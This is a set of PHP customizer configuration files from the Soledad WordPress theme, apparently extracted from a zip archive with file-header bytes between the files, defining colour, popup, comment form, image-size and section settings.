	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_top_border_cl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Border Top Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_text_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Field Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_text_cl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Field Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_bd_cl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Field Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_btn_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_btn_hv_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_btn_cl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_btn_hv_cl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Hover Text Color', 'soledad' ),
);

return $options;
PK     0w\͹    ?  customizer/config/sections/penci_section_speed_html_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Minify HTML', 'soledad' ),
	'description' => __( "Minify HTML won't apply for admin users logged in, so let check how it works without logged in.", "soledad" ),
	'id'          => 'penci_speed_html_minify',
	'type'        => 'soledad-fw-toggle',
);

return $options;
PK     0w\^    A  customizer/config/sections/penci_popup_section_styles_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'        => 'penci_popup_bgimg',
	'default'   => '',
	'transport' => 'refresh',
	'type'      => 'soledad-fw-image',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Popup Background Image', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_popup_bgcolor',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Popup Background Color', 'soledad' ),
	'description' => __( 'Set background image or color for promo popup', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_popup_bgrepeat',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Repeat', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'repeat'    => __('repeat','soledad' ),
		'repeat-x'  => __('repeat-x','soledad' ),
		'repeat-y'  => __('repeat-y','soledad' ),
		'no-repeat' => __('no-repeat','soledad' ),
		'initial'   => __('initial','soledad' ),
		'inherit'   => __('inherit','soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_popup_bgposition',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Position', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'left top'      => __('left top','soledad' ),
		'left center'   => __('left center','soledad' ),
		'left bottom'   => __('left bottom','soledad' ),
		'right top'     => __('right top','soledad' ),
		'right center'  => __('right center','soledad' ),
		'right bottom'  => __('right bottom','soledad' ),
		'center top'    => __('center top','soledad' ),
		'center center' => __('center center','soledad' ),
		'center bottom' => __('center bottom','soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_popup_bgsize',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Size', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'       => 'penci_popup_bgscroll',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Scroll', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'scroll'  => __('scroll','soledad' ),
		'fixed'   => __('fixed','soledad' ),
		'local'   => __('local','soledad' ),
		'initial' => __('initial','soledad' ),
		'inherit' => __('inherit','soledad' ),
	]
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_popup_width_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'       => __( 'Popup Width', 'soledad' ),
	'description' => __( 'Set width of the promo popup in pixels.', 'soledad' ),
	'id'          => 'penci_popup_width_desktop',
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_popup_width_desktop',
		'mobile'  => 'penci_popup_width_mobile',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_popup_txtcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_popup_bordercolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_popup_closecolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Close Button Color', 'soledad' ),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_popup_txt_msize',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Popup Text Size', 'soledad' ),
	'id'       => 'penci_popup_txt_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_popup_txt_size',
		'mobile'  => 'penci_popup_txt_msize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_popup_spacing',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-box-model',
	'label'    => __( 'Popup Spacing', 'soledad' ),
	'choices'  => array(
		'margin'       => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

return $options;
PK     0w\xl    F  customizer/config/sections/pencidesign_general_image_sizes_section.phpnu [        <?php
$options          = [];
$list_image_sizes = array(
	'penci_dthumb_1920_auto' => esc_html__( 'Disable Image Size - 1920 x auto', 'soledad' ),
	'penci_dthumb_1920_800'  => esc_html__( 'Disable Image Size - 1920 x 800px', 'soledad' ),
	'penci_dthumb_1170_auto' => esc_html__( 'Disable Image Size - 1170 x auto', 'soledad' ),
	'penci_dthumb_1170_663'  => esc_html__( 'Disable Image Size - 1170 x 663px', 'soledad' ),
	'penci_dthumb_780_516'   => esc_html__( 'Disable Image Size - 780 x 516px', 'soledad' ),
	'penci_dthumb_585_390'   => esc_html__( 'Disable Image Size - 585 x 390px', 'soledad' ),
	'penci_dthumb_585_auto'  => esc_html__( 'Disable Image Size - 585 x auto', 'soledad' ),
	'penci_dthumb_585_585'   => esc_html__( 'Disable Image Size - 585 x 585px', 'soledad' ),
	'penci_dthumb_480_650'   => esc_html__( 'Disable Image Size - 480 x 650px', 'soledad' ),
	'penci_dthumb_263_175'   => esc_html__( 'Disable Image Size - 263 x 175px', 'soledad' )
);
foreach ( $list_image_sizes as $id_size => $label_size ) {

	$options[] = array(
		'label'    => $label_size,
		'id'       => $id_size,
		'type'     => 'soledad-fw-toggle',
		'default'  => false,
		'sanitize' => 'penci_sanitize_checkbox_field'
	);
}

return $options;
PK     0w\#@0    B  customizer/config/sections/penci_epopup_section_styles_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'        => 'penci_epopup_bgimg',
	'default'   => '',
	'transport' => 'refresh',
	'type'      => 'soledad-fw-image',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Popup Background Image', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_epopup_bgcolor',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Popup Background Color', 'soledad' ),
	'description' => __( 'Set background image or color for promo popup', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_epopup_bgrepeat',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Repeat', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'repeat'    => __('repeat','soledad' ),
		'repeat-x'  => __('repeat-x','soledad' ),
		'repeat-y'  => __('repeat-y','soledad' ),
		'no-repeat' => __('no-repeat','soledad' ),
		'initial'   => __('initial','soledad' ),
		'inherit'   => __('inherit','soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_epopup_bgposition',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Position', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'left top'      => __('left top','soledad' ),
		'left center'   => __('left center','soledad' ),
		'left bottom'   => __('left bottom','soledad' ),
		'right top'     => __('right top','soledad' ),
		'right center'  => __('right center','soledad' ),
		'right bottom'  => __('right bottom','soledad' ),
		'center top'    => __('center top','soledad' ),
		'center center' => __('center center','soledad' ),
		'center bottom' => __('center bottom','soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_epopup_bgsize',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Size', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'       => 'penci_epopup_bgscroll',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Scroll', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'scroll'  => __('scroll','soledad' ),
		'fixed'   => __('fixed','soledad' ),
		'local'   => __('local','soledad' ),
		'initial' => __('initial','soledad' ),
		'inherit' => __('inherit','soledad' ),
	]
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_epopup_width_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'       => __( 'Popup Width', 'soledad' ),
	'description' => __( 'Set width of the promo popup in pixels.', 'soledad' ),
	'id'          => 'penci_epopup_width_desktop',
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_epopup_width_desktop',
		'mobile'  => 'penci_epopup_width_mobile',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_epopup_txtcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_epopup_bordercolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_epopup_closecolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Close Button Color', 'soledad' ),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_epopup_txt_msize',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Popup Text Size', 'soledad' ),
	'id'       => 'penci_epopup_txt_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_epopup_txt_size',
		'mobile'  => 'penci_epopup_txt_msize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_epopup_spacing',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-box-model',
	'label'    => __( 'Popup Spacing', 'soledad' ),
	'choices'  => array(
		'margin'       => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

return $options;PK     0w\,&+  +  C  customizer/config/sections/penci_section_spost_comments_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Comments & Comment Form', 'soledad' ),
	'id'       => 'penci_post_hide_comments',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Top of Comments & Comment Form', 'soledad' ),
	'id'       => 'penci_post_comments_rm_bt',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Comment Style', 'soledad' ),
	'id'       => 'penci_post_comments_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
	)
);
$options[]       = array(
	'default'  => '',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'label'    => __( 'Limit Comment Content To X Lines', 'soledad' ),
	'id'       => 'penci_post_comments_lines',
	'ids'      => array(
		'desktop' => 'penci_post_comments_lines',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Comment Ratings', 'soledad' ),
	'id'       => 'penci_post_comments_ratings',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Collapse Comment Form', 'soledad' ),
	'id'       => 'penci_post_comments_collapse',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Move Comment Form to Above the List Comments', 'soledad' ),
	'id'       => 'penci_post_move_comment_box',
	'type'     => 'soledad-fw-toggle',
);

$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Hide "Name" field on Comment Form', 'soledad' ),
	'id'          => 'penci_single_comments_remove_name',
	'type'        => 'soledad-fw-toggle',
	'description' => __( 'Note that: If you want to hide this field - you need go to Dashboard > Settings > Discussion > and un-check to "Comment author must fill out name and email" - check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/discussion_settings.png" target="_blank">this image</a> for more.', 'soledad' ),
);

$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Hide "Email" field on Comment Form', 'soledad' ),
	'id'          => 'penci_single_comments_remove_email',
	'description' => __( 'Note that: If you want to hide this field - you need go to Dashboard > Settings > Discussion > and un-check to "Comment author must fill out name and email" - check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/discussion_settings.png" target="_blank">this image</a> for more.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);

$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide "Website" field on Comment Form', 'soledad' ),
	'id'       => 'penci_single_comments_remove_website',
	'type'     => 'soledad-fw-toggle',
);

$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Remove checkbox "Save my name, email, and website in this browser for the next time I comment."', 'soledad' ),
	'id'          => 'penci_single_hide_save_fields',
	'description' => __( 'Note that: This checkbox just appears when you use Wordpress from version 4.9.6', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);

$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable GDPR message on Comment Form', 'soledad' ),
	'id'       => 'penci_single_gdpr',
	'type'     => 'soledad-fw-toggle',
);

$options[] = array(
	'default'     => esc_html__( '* By using this form you agree with the storage and handling of your data by this website.', 'soledad' ),
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => esc_html__( 'Custom GDPR Message on Comment Form', 'soledad' ),
	'id'          => 'penci_single_gdpr_text',
	'description' => '',
	'type'        => 'soledad-fw-textarea',
);

return $options;
PK     0w\=b        customizer/config/helper.phpnu [        <?php
if ( ! function_exists( 'penci_fw_customizer' ) ) {
	function penci_fw_customizer() {
		return SoledadFW\Customizer\Customizer::get_instance();
	}
}
PK     0w\Jɚ!  !    customizer/config/settings.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW;

/**
 * Class Theme Soledad Customizer
 */
class Customizer {
	/**
	 * @var Customizer
	 */
	private static $instance;

	/**
	 * Package name
	 *
	 * @var string
	 */
	private static $package = 'Soledad';

	/**
	 * @var Customizer
	 */
	private $customizer = null;

	/**
	 * Section of Customizer
	 */
	private $list_section = array(
		'penci_ageverify_section',
		'penci_menu_hbg_section',
		'penci_menu_hbg_widgets_section',
		'penci_popup_section_display_section',
		'penci_popup_section_general_section',
		'penci_popup_section_styles_section',
		'penci_section_footer_colors_section',
		'penci_section_footer_general_section',
		'penci_section_footer_instagram_section',
		'penci_section_footer_signupform_section',
		'penci_section_footer_widgets_section',
		'penci_section_fslider_colors_section',
		'penci_section_fslider_fsize_section',
		'penci_section_fslider_general_section',
		'penci_section_header_signupform_section',
		'penci_section_homepage_colors_section',
		'penci_section_homepage_featured_boxes_section',
		'penci_section_homepage_featured_cat_section',
		'penci_section_homepage_fontsize_section',
		'penci_section_homepage_general_section',
		'penci_section_homepage_popular_posts_section',
		'penci_section_homepage_title_box_section',
		'penci_section_layout_colors_section',
		'penci_section_layout_fontsize_section',
		'penci_section_layout_rowsgap_section',
		'penci_section_other_layouts_section',
		'penci_section_sidebar_colors_section',
		'penci_section_sidebar_fsize_section',
		'penci_section_sidebar_general_section',
		'penci_section_spage_404_section',
		'penci_section_spage_colors_section',
		'penci_section_spage_general_section',
		'penci_section_spage_header_section',
		'penci_section_speed_css_section',
		'penci_section_speed_general_section',
		'penci_section_speed_html_section',
		'penci_section_speed_javascript_section',
		'penci_section_spost_colors_section',
		'penci_section_spost_fontsize_section',
		'penci_section_spost_general_section',
		'penci_section_spost_inline_reposts_section',
		'penci_section_select_share_section',
		'penci_section_spost_related_posts_section',
		'penci_section_standard_classic_section',
		'pencidesign_general_archive_page_section',
		'pencidesign_general_body_boxed_section',
		'pencidesign_general_colors_section',
		'pencidesign_general_colors_dark_section',
		'pencidesign_general_cursor_section',
		'pencidesign_general_lvn_section',
		'pencidesign_general_extra_section',
		'pencidesign_general_accessibility_section',
		'pencidesign_general_gdpr_section',
		'pencidesign_general_image_sizes_section',
		'pencidesign_general_schema_markup_section',
		'pencidesign_general_search_page_section',
		'pencidesign_general_social_sharing_section',
		'pencidesign_general_typography_section',
		'pencidesign_logo_header_category_megamenu_section',
		'pencidesign_logo_header_colors',
		'pencidesign_logo_header_colors_section',
		'pencidesign_logo_header_colors_trans',
		'pencidesign_logo_header_general_section',
		'pencidesign_logo_header_logo_section',
		'pencidesign_logo_header_primary_menu_section',
		'pencidesign_logo_header_verticalnav_section',
		'pencidesign_new_section_custom_css_section',
		'pencidesign_new_section_general_section',
		'pencidesign_new_section_social_section',
		'pencidesign_new_section_topbar_section',
		'pencidesign_new_section_transition_lang_section',
		'pencidesign_new_section_woocommerce_section',
		'pencidesign_section_fvideo_colors_section',
		'pencidesign_section_fvideo_general_section',
		'pencidesign_topbar_section_colors_section',
		'pencidesign_topbar_section_fontsize_section',
		'penci_section_spost_comments_section',
		'penci_section_spost_autoload_section',
		'penci_section_spost_cpost_meta_section',
		'penci_section_spost_cptype_builder_section',
		'penci_section_spost_pformats_builder_section',
		'penci_menu_hbg_colors_section',
		'pencidesign_logo_header_slogan_section',
		'pencidesign_logo_header_colors_trans_section',
		'penci_builder_general_section',
		'penci_footer_builder_config_section',
		'pencidesign_toc_general_section',
		'pencidesign_toc_styles_section',
		'penci_userprofile_section',
		'penci_maintenance_mode_section',
		'penci_linkmanager_section',
		'pencidesign_new_section_adblocker_section',
		'pencidesign_new_section_helpful_articles_section',
		'pencidesign_new_section_push_notification_section',
		'pencidesign_posts_page_settings_section',
		'penci_section_spost_reading_progress_section',
		'penci_epopup_section_general_section',
		'penci_epopup_section_styles_section',
	);

	/**
	 * Construct
	 */
	private function __construct() {
		// Need to load Customizer early for this kind of request.
		if ( isset( $_REQUEST['action'] ) && 'penci_fw_customizer_disable_panel' === $_REQUEST['action'] ) {
			$this->customizer = penci_fw_customizer();
		}

		if ( class_exists( 'woocommerce' ) ) {
			$woocommerce_section = [
				'pencidesign_woo_brand_settings_section',
				'pencidesign_woo_cart_page_section',
				'pencidesign_woo_colors_settings_section',
				'pencidesign_woo_compare_settings_section',
				'pencidesign_woo_filter_sidebar_section',
				'pencidesign_woo_label_settings_section',
				'pencidesign_woo_mobile_settings_section',
				'pencidesign_woo_ordercompleted_page_section',
				'pencidesign_woo_quickview_settings_section',
				'pencidesign_woo_section_transition_lang_section',
				'pencidesign_woo_single_settings_section',
				'pencidesign_woo_toast_notify_section',
				'pencidesign_woo_typo_settings_section',
				'pencidesign_woo_wishlist_settings_section',
				'pencidesign_woo_product_catalog_section',
				'woocommerce_checkout_section',
				'woocommerce_product_catalog_section',
			];
			$this->list_section  = array_merge( $this->list_section, $woocommerce_section );
		}

		if ( is_customize_preview() || ! is_admin() ) {
			add_filter( 'soledad_fw_customizer_get_lazy_options', array( $this, 'prepare_lazy_option' ) );
			add_filter( 'soledad_fw_register_lazy_section', array( $this, 'register_lazy_section' ) );
			add_action( 'soledad_fw_register_customizer_option', array( $this, 'load_customizer' ), 91 );
			add_filter( 'soledad_fw_customizer_add_field', array( $this, 'prepare_add_section' ) );
		}
	}

	/**
	 * @return Customizer
	 */
	public static function getInstance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	public function prepare_lazy_option( $options ) {
		if ( is_array( $options ) ) {
			foreach ( $options as &$option ) {
				if ( isset( $option['type'] ) ) {
					//$option['type'] = str_replace( 'soledad-fw-', 'soledad-', $option['type'] );
				}
			}
		}

		return $options;
	}

	public function register_lazy_section( $result ) {
		$array = $this->list_section;

		$path = PENCI_SOLEDAD_DIR . '/inc/customizer/config/sections/';

		foreach ( $array as $id ) {
			$result[ $id ][] = "{$path}{$id}.php";
		}

		return $result;
	}

	public function load_customizer() {
		$this->customizer = Customizer\Customizer::get_instance();
		new Customizer\GeneralOption( $this->customizer, 1 );
		new Customizer\TopbarOption( $this->customizer, 2 );
		new Customizer\LogoHeaderOption( $this->customizer, 3 );
		new Customizer\VerticalNavHamburgeOption( $this->customizer, 4 );
		new Customizer\HomepageOption( $this->customizer, 5 );
		new Customizer\FeaturedSliderOption( $this->customizer, 6 );
		new Customizer\FeaturedVideoOption( $this->customizer, 7 );
		new Customizer\PostLayoutOption( $this->customizer, 8 );
		new Customizer\SidebarOption( $this->customizer, 9 );
		new Customizer\SinglePostOption( $this->customizer, 10 );
		new Customizer\PagesOption( $this->customizer, 11 );
		new Customizer\SocialMediaOption( $this->customizer, 11 );
		new Customizer\FooterOption( $this->customizer, 12 );
		new Customizer\SpeedOptimizationOption( $this->customizer, 12 );		
		new Customizer\TextTranslationOption( $this->customizer, 12 );
		new Customizer\TocOptions( $this->customizer, 13 );
		new Customizer\PopupOption( $this->customizer, 14 );
		new Customizer\PopupEOption( $this->customizer, 14 );
		new Customizer\AdBlockerOption( $this->customizer, 15 );
		new Customizer\ArticleFeedbackOption( $this->customizer, 15 );
		new Customizer\PushNotificationOption( $this->customizer, 15 );
		new Customizer\CustomCSSOption( $this->customizer, 220 );



		if ( class_exists( 'WooCommerce' ) ) {
			new Customizer\WooCommerceOption( $this->customizer, 17 );
			new Customizer\WooTranslationOption( $this->customizer, 200 );
		}

	}
}
PK     0w\v-˘    *  customizer/config/options/social_media.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class SocialMediaOption extends CustomizerOptionAbstract {


	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_social_section', esc_html__( 'Social Media', 'soledad' ), '', esc_html__( 'Enter full your social URL ( include http:// or https:// on the URL ), Icons will not show if left blank.', 'soledad' ) );
	}
}
PK     0w\<z    /  customizer/config/options/push_notification.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class PushNotificationOption extends CustomizerOptionAbstract {


	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_push_notification_section', esc_html__( 'Push Notification', 'soledad' ), '' );
	}
}PK     0w\c  c  $  customizer/config/options/footer.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class FooterOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_footer_section_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Footer', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_footer_builder_config_section', esc_html__( 'Footer Builder', 'soledad' ), $this->panelID, __( 'You can add new and edit a Footer Template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=penci-block' ) ) . '">this page</a>.<br>Please check <a class="wp-customizer-link" href="https://www.youtube.com/watch?v=kUFqsVYyJig&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04&t=809s" target="_blank">this video tutorial</a> to know how to setup your footer builder.', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_footer_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_footer_widgets_section', esc_html__( 'Footer Widgets Area', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-widgets-area.png">this image</a> to know where is "Footer Widgets Area".<br>To config Footer Widgets, please go to <strong>Appearance > Widgets > drag & drop widgets to "Footer Column #1", "Footer Column #2", "Footer Column #3", "Footer Column #4</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-columns.png">this image</a>', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_footer_instagram_section', esc_html__( 'Footer Instagram', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-instagram.png">this image</a> to know where is "Footer Instagram".<br>To config Footer Instagram, please go to <strong>Appearance > Widgets > drag & drop widget "Soledad Instagram Feed" to "Footer Instagram"</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-instagram-widgets.png">this image</a>', 'soledad' ) );
